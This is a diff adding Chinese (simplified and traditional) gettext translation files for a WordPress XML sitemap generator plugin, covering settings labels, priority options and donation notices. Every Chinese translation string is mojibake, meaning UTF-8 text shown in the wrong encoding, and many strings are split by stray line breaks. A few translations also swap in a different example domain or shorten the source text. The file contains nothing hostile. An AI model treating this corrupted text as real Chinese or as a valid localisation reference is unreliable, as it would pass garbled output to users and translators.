+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "e.g. \"4M\", \"16M\""
+msgstr "æ¯åŠïŒ \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "Try to increase the execution time limit to:"
+msgstr "å¢å æ§è¡æ¶éŽéå¶å°ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "æç§è®¡ç®ïŒæ¯åŠ \"60\" or \"0\" æ²¡æéå¶"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Include a XSLT stylesheet:"
+msgstr "å
+å«äžäžª XSLT æž
+å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Use Default"
+msgstr "äœ¿çšé»è®€ç"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Full or relative URL to your .xsl file"
+msgstr "äœ ç .xsl æä»¶çç»å¯¹æçžå¯¹è·¯åŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "å¯çš MySQL æ åæš¡åŒãä»
+åš MySQL åçéè¯¯çæ¶åäœ¿çšã(å°äŒå çšæŽå€å
+å­ïŒ)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "åšåå°å»ºç« sitemapïŒäœ äžéèŠåšä¿å­æ¥å¿æ¶ç­åŸ
+ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3144
+msgid "Additional pages"
+msgstr "éå é¡µé¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3149
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "åšè¿éäœ å¯ä»¥äžº sitemap å å
+¥äžäºç¹æ®çäœå¹¶äžå­åšäºäœ  Blog/WordPress çå°åãæ¯åŠïŒåŠæäœ çååæ¯ www.dupola.comïŒäœ çblogåš www.dupola.com/blog äžïŒäœ å¯ä»¥å å
+¥äœ çéŠé¡µ www.dupola.com"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3151
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3462
+msgid "Note"
+msgstr "æ³šæ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "åŠæäœ ç blog åšå­ç®åœéïŒäœ èŠæ·»å  blog ç®åœæäžçº§ç®åœæ²¡æçé¡µé¢ïŒäœ å¿
+é¡»å° sitemap æä»¶æŸå°è¿äžªç®åœé(æ¥çæ¬é¡µç &quot; sitemap æä»¶çäœçœ® &quot; äžè)ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3300
+msgid "URL to the page"
+msgstr "è¿äžªé¡µé¢ç URL"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "èŸå
+¥è¿äžªé¡µé¢çå°åïŒæ¯åŠïŒhttp://dupola.com/dreamhost æ www.dupola.com/google"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3157
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3301
+msgid "Priority"
+msgstr "äŒå
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3158
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "éæ©è¯¥é¡µé¢ççžå
+³é¡µé¢çäŒå
+æãæ¯åŠïŒäœ çäž»é¡µåºè¯¥æ¥æäžäžªæŽé«çäŒå
+æã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3160
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3303
+msgid "Last Changed"
+msgstr "æè¿æŽæ¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3161
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "èŸå
+¥æåæŽæ¹çæ¥æïŒæ ŒåŒäžº YYYY-MM-DD (äŸåŠ 2005-12-31) (å¯éçl)."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3302
+msgid "Change Frequency"
+msgstr "æŽæ¹é¢ç"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3304
+msgid "#"
+msgstr "#"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3309
+msgid "No pages defined."
+msgstr "æ²¡æé¡µé¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3314
+msgid "Add new page"
+msgstr "å¢å äžäžªæ°çé¡µé¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3325
+msgid "Post Priority"
+msgstr "æ¥å¿äŒå
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "è¯·éæ©æ¯ç¯æ¥å¿å¯é¢è®ŸçäŒå
+æïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "Do not use automatic priority calculation"
+msgstr "äžèŠäœ¿çšé»è®€äŒå
+è®¡ç®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "æææ¥å¿éœå°æ¥æ &quot;äŒå
+æ&quot; è®Ÿå®äž­è®Ÿçœ®çé£æ ·çäŒå
+æ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3348
+msgid "Location of your sitemap file"
+msgstr "äœ ç sitemap æä»¶çäœçœ®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3353
+msgid "Automatic detection"
+msgstr "èªåšæ£æ¥"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3357
+msgid "Filename of the sitemap file"
+msgstr "sitemap æä»¶çåå­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+msgid "Detected Path"
+msgstr "æ£æ¥è·¯åŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+msgid "Detected URL"
+msgstr "æ£æ¥å°å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3365
+msgid "Custom location"
+msgstr "èªå®ä¹è·¯åŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3369
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "sitemap çç»å¯¹æçžå¯¹è·¯åŸïŒå
+æ¬åå­ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3371
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3380
+msgid "Example"
+msgstr "äŸåŠ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3378
+msgid "Complete URL to the sitemap file, including name."
+msgstr "sitemap æä»¶çå®å
+šå°åïŒå
+æ¬åå­ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3397
+msgid "Sitemap Content"
+msgstr "sitemap å
+å®¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3405
+msgid "Include homepage"
+msgstr "å
+å«éŠé¡µ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3411
+msgid "Include posts"
+msgstr "å
+å«æ¥å¿"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:1013
+msgid "Include following pages of multi-page posts (&lt;!--nextpage--&gt;)"
+msgstr "å
+æ¬ææå€éé¡µé¢ (&lt;!--nextpage--&gt;)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3417
+msgid "Include static pages"
+msgstr "å
+å«ç¬ç«é¡µé¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3423
+msgid "Include categories"
+msgstr "å
+å«åç±»"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3429
+msgid "Include archives"
+msgstr "å
+å«å­æ¡£é¡µé¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3436
+msgid "Include tag pages"
+msgstr "å
+å« Tag é¡µé¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3443
+msgid "Include author pages"
+msgstr "å
+å«äœè
+é¡µé¢"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:981
+msgid "Excluded items"
+msgstr "äžå
+å«çé¡¹ç®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3423
+msgid "Excluded categories"
+msgstr "äžå
+å«åç±»"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:985
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "äœ¿çšè¿äžªç¹æ§å°å¢å€§å»ºç«æ¶éŽåäœ¿çšå
+å­ïŒ"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:992
+#, php-format
+msgid "This feature requires at least WordPress 2.5, you are using %s"
+msgstr "è¿äžªç¹æ§èŠæ± WordPress çæ¬è³å°æ¯ 2.5ïŒäœ æ­£åšäœ¿çš  %s"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3411
+msgid "Exclude posts"
+msgstr "äžå
+å«æ¥å¿"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "Exclude the following posts or pages:"
+msgstr "äžå
+æ¬äžé¢çæ¥å¿æé¡µé¢ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "List of IDs, separated by comma"
+msgstr "ID åè¡šïŒçšè±æéå·éåŒ"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:999
+msgid "Child posts will not automatically be excluded!"
+msgstr "å­æ¥å¿å°èªåšæé€ïŒäžå
+å«åšå
+ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3457
+msgid "Change frequencies"
+msgstr "æŽæ¹é¢ç"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3463
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "è¯·æ³šæïŒè¿äºåŒä»
+ä»
+æ¯åèå»ºç«èå¹¶éæ¯åç¡®æ è¯¯çã "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3469
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3535
+msgid "Homepage"
+msgstr "éŠé¡µ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3475
+msgid "Posts"
+msgstr "æ¥å¿"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3481
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3553
+msgid "Static pages"
+msgstr "ç¬ç«é¡µé¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3487
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3559
+msgid "Categories"
+msgstr "åç±»"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3493
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "è¿äžªæçå­æ¡£ïŒåºè¯¥åäœ çéŠé¡µä¿æäžèŽïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3499
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "èŸæ©çå­æ¡£ïŒåªåšäœ çŒèŸäºæ§æ¥å¿åææŽæ°ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3506
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3572
+msgid "Tag pages"
+msgstr "Tagé¡µ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3513
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3579
+msgid "Author pages"
+msgstr "äœè
+é¡µ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3527
+msgid "Priorities"
+msgstr "äŒå
+æ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3541
+msgid "Posts (If auto calculation is disabled)"
+msgstr "æ¥å¿ïŒåŠæèªåšè®¡ç®å·²çŠçšïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3547
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "æ¥å¿æå°äŒå
+ïŒå³äœ¿èªåšè®¡ç®å·²ç»åŒå¯ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3565
+msgid "Archives"
+msgstr "å­æ¡£"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3590
+msgid "Update options"
+msgstr "æŽæ°è®Ÿçœ®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3591
+msgid "Reset options"
+msgstr "éçœ®è®Ÿçœ®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap Generator"
+msgstr "XML-Sitemap çæåš"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-zh_TW.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-zh_TW.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-zh_TW.po	(revision 44)
@@ -0,0 +1,1071 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap.pot 123431 2009-06-07 00:17:10Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-06-07 01:15+0100\n"
+"PO-Revision-Date: 2009-06-08 12:10+0800\n"
+"Last-Translator: \n"
+"Language-Team: hugo5688 <hugo5688@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: H:\\Webdev\\htdocs\\wp_plugins\\sitemap_beta\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr "è¿Žé¿æžç®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "äœ¿çšè¿Žé¿çæžéäŸèšç®åªå
+æ¬"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr "è¿Žé¿å¹³ååŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "äœ¿çšè¿Žé¿æžéå¹³ååŒäŸèšç®åªå
+æ¬"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr "ç±éç«¶è³œ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "äœ¿çš <a href=\"%2\">Alex King</a> æäŸç <a href=\"%1\">Popularity Contest å€æ</a>(éåçš)ãè©³èŠ <a href=\"%3\">éžé 
+</a> ä»¥å<a href=\"%4\">Most Popular Posts</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1118
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1187
+msgid "Always"
+msgstr "éšæ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1119
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1188
+msgid "Hourly"
+msgstr "æ¯å°æ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1120
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1189
+msgid "Daily"
+msgstr "æ¯æ¥"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1190
+msgid "Weekly"
+msgstr "æ¯é±"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1122
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1191
+msgid "Monthly"
+msgstr "æ¯æ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1123
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1192
+msgid "Yearly"
+msgstr "æ¯å¹Ž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1193
+msgid "Never"
+msgstr "åŸäž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "éåžžæè¬æšçèŽå©ãç±æŒæšçå¹«å©ïŒè®æèœå€ ç¹Œçºæ¯æŽéçŒéåå€æä»¥åå
+¶ä»å
+è²»è»é«ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Hide this notice"
+msgstr "é±èéåéç¥"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "æè¬æšäœ¿çšæ­€å€æ!æšå·²åšäžåæåå®è£æ­€å€æãåŠæå®æ­£åžžå·¥äœäžŠè®æšå°æŒæ­€çµææå°å®å¿ïŒæ¯äžæ¯è³å°å¹åŒäžçŸå
+å¢? è«<a href=\"%s\">èŽå©</a>æäŸè®ææç¹ŒçºéçŒåæ¯æŽæ­€<i>å
+è²»</i> å€æè»é«çååã<a href=\"%s\">å¥œçïŒæ²åé¡!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+msgid "No thanks, please don't bug me anymore!"
+msgstr "äžäºïŒè«äžèŠåç
+©æ!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:119
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "æšçç¶²ç«å°ååšæ­€å»å·²éå§æŽæ°ãéå®å
+šåæ±ºæŒæšçblogå€§å°ïŒæèš±æè±äžäžé»æé!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:121
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "æšçç¶²ç«å°åå°æåš%sç§éåŸæŽæ°ãéå®å
+šåæ±ºæŒæšçblogå€§å°ïŒæèš±æè±äžäžé»æé!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2635
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2835
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:146
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:453
+msgid "XML Sitemap Generator for WordPress"
+msgstr "WordPress å°çš XML ç¶²ç«å°åç¢çåš"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2740
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:298
+msgid "Configuration updated"
+msgstr "èš­å®å·²æŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2741
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:299
+msgid "Error while saving options"
+msgstr "å²å­éžé 
+æç¢çé¯èª€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2743
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:301
+msgid "Pages saved"
+msgstr "é é¢å·²å²å­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2744
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:302
+msgid "Error while saving pages"
+msgstr "å²å­é é¢æç¢çé¯èª€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:309
+msgid "The default configuration was restored."
+msgstr "èš­å®å·²éçœ®çºé èš­åŒã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:466
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "æèŒæ°ççæ¬ %1$s å¯äŸäžèŒã<a href=\"%2$s\">äžèŒçæ¬ %3$s</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:468
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "æèŒæ°ççæ¬ %1$s å¯äŸäžèŒã<a href=\"%2$s\">äžèŒçæ¬ %3$s</a> <em>èªåæŽæ°äžå¯é©çšæŒæ­€å€æçšåŒ</em>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:470
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "æèŒæ°ççæ¬ %1$s å¯äŸäžèŒã<a href=\"%2$s\">äžèŒçæ¬ %3$s</a>æè
+<a href=\"%4$s\">èªåæŽæ°</a>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:510
+msgid "open"
+msgstr "æé"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:494
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:511
+msgid "close"
+msgstr "éé"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:495
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:512
+msgid "click-down and drag to move this box"
+msgstr "æäžäžŠææ³éåç©åœ¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:496
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:513
+msgid "click to %toggle% this box"
+msgstr "æäºã%toggle%ãéåç©åœ¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:497
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:514
+msgid "use the arrow keys to move this box"
+msgstr "äœ¿çšæ¹åéµç§»åéåç©åœ¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:498
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:515
+msgid ", or press the enter key to %toggle% it"
+msgstr "ïŒæè
+æäž Enter éµäŸã%toggle%ãå®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "About this Plugin:"
